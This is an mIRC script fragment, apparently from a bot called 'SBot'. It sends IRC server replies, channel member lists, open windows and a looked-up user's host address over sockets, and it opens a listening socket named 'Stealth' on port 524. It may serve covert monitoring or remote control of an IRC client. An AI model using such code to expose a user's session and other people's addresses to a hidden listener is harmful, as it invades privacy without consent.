raw 502:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------ OTHER ---------------------------------------------
#NickIP off
raw 302:*: {
if ( $sock(SBot-*) != $null ) {
if ( $gettok( $2 ,1,61) == %SBot.getnick ) { .sockwrite -n SBot-* NICKIP $gettok( $2 ,1,61) $gettok($2,2,64) 524 | unset %SBot.getnick | .disable #NickIP | halt } 
}
halt
}
#NickIP end

raw 329:*: if ( $sock(SBot-*) != $null ) { showinstat $2 created on $asctime( $3 ) }
raw 341:*: if ( $sock(SBot-*) != $null ) { showinstat $2 has been invited to $3 }
raw 381:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

alias chanstat {
unset %SBot.i %SBot.ops %SBot.voice %SBot.reg
%SBot.temp = $nick( $1 ,0)
:start
inc %SBot.i
if ( %SBot.i <= %SBot.temp ) {
if ( $nick( $1 , %SBot.i ) isop $1 ) {
  if ( %SBot.ops == $null ) { %SBot.ops = $nick( $1 , %SBot.i ) }
  else {  %SBot.ops = %SBot.ops $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
elseif ( $nick( $1 , %SBot.i ) isvo $1 ) {
  if ( %SBot.voice == $null )  { %SBot.voice = $nick( $1 , %SBot.i ) }
  else { %SBot.voice = %SBot.voice $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
else {
  if ( %SBot.reg == $null ) { %SBot.reg = $nick( $1 , %SBot.i ) }
  else {  %SBot.reg = %SBot.reg $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
goto start
}
%SBot.modes = $chan( $1 ).mode
%SBot.topic = $chan( $1 ).topic
if ( %SBot.ops == $null ) { %SBot.ops = $chr(149) }
if ( %SBot.voice == $null ) { %SBot.voice = $chr(149) }
if ( %SBot.reg == $null ) { %SBot.reg = $chr(149) }
if ( %SBot.modes == $null ) { %SBot.modes = $chr(149) }
if ( %SBot.topic == $null ) { %SBot.topic = $chr(149) }
.sockwrite -n SBot-* CHAN START $1 %SBot.ops $+ $chr(140) $+ %SBot.voice $+ $chr(140) $+ %SBot.reg $+ $chr(140) $+ %SBot.modes $+ $chr(140) $+ $colour(Topic) $colour(Info2) %SBot.topic
unset %SBot.ops %SBot.voice %SBot.reg %SBot.i %SBot.modes %SBot.topic
halt
}

alias winstat {
unset %SBot.wins.i %SBot.wins.temp
:loop
inc %SBot.wins.i
if ( %SBot.wins.i <= $chan(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chan( %SBot.wins.i ) $+ $chr(44) | goto loop }
%SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
unset %SBot.wins.i 
:loop2
inc %SBot.wins.i
if ( %SBot.wins.i <= $query(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $query( %SBot.wins.i ) $+ $chr(44) | goto loop2 }
%SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
unset %SBot.wins.i 
:loop3
inc %SBot.wins.i
if ( %SBot.wins.i <= $chat(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chat( %SBot.wins.i ) $+ $chr(44) | goto loop3 }
.sockwrite -n SBot-* WINSTATS %SBot.wins.temp
unset %SBot.wins.*
}

alias showinstat { 
.sockwrite -n SBot-* SHOW Status $1-
.sockwrite -n SBot-* SHOW Status -
}

alias bground {
if ( [ $readini $mircdirmirc.ini background $1 ] != $null ) {
if ($chr(58) !isin [ $readini $mircdirmirc.ini background $1 ] ) { return [ $mircdir $+ [ $readini $mircdirmirc.ini background $1 ] ] }
else { return [ $readini $mircdirmirc.ini background $1 ] }
}
else { return none }
}
alias listen if ( $portfree(524) ) { .socklisten Stealth 524 }
